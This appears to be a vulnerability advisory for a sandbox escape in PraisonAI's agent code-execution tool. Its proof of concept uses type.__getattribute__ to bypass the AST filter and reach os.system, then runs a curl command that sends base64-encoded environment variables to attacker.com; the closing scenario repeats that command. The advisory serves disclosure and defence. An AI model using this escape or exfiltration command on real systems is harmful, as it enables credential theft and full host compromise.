CVE-2026-40158: PraisonAI: AST sandbox bypass enables host RCE

PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code. ## Description The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via: The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions. ```python type.__getattribute__(obj, '__subclasses__') # Bypasses filter ``` The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list. ## Proof of Concept ```python # This code bypasses the sandbox and achieves RCE t = type int_cls = t(1) # Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0] # Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn() # Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"') ``` --- ## Impact This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process. An attacker can: * Access sensitive data such as environment variables, API keys, and local files * Execute arbitrary system commands * Modify or delete files on the system In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure. --- ## Affected Code ```python # praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals) ``` **Reporter:** Lakshmikanthan K (letchupkt)

An attacker targeting a SaaS platform built on PraisonAI submits a seemingly functional data-processing script as part of normal platform usage. The script uses type.__getattribute__ to traverse the Python class hierarchy — bypassing the AST filter's blocked-attribute list, because the dangerous attribute names are passed as string constants rather than attribute nodes — to reach _wrap_close.__init__.__globals__, which contains a live reference to the os.system function. The attacker calls system('curl https://attacker.com/exfil --data "$(env | base64)"'), exfiltrating all environment variables including cloud provider credentials, database connection strings, and third-party API keys in a single HTTP request. With those credentials, the attacker moves laterally to the cloud control plane or adjacent databases, escalating from a single code submission to a full infrastructure breach affecting every tenant on the platform.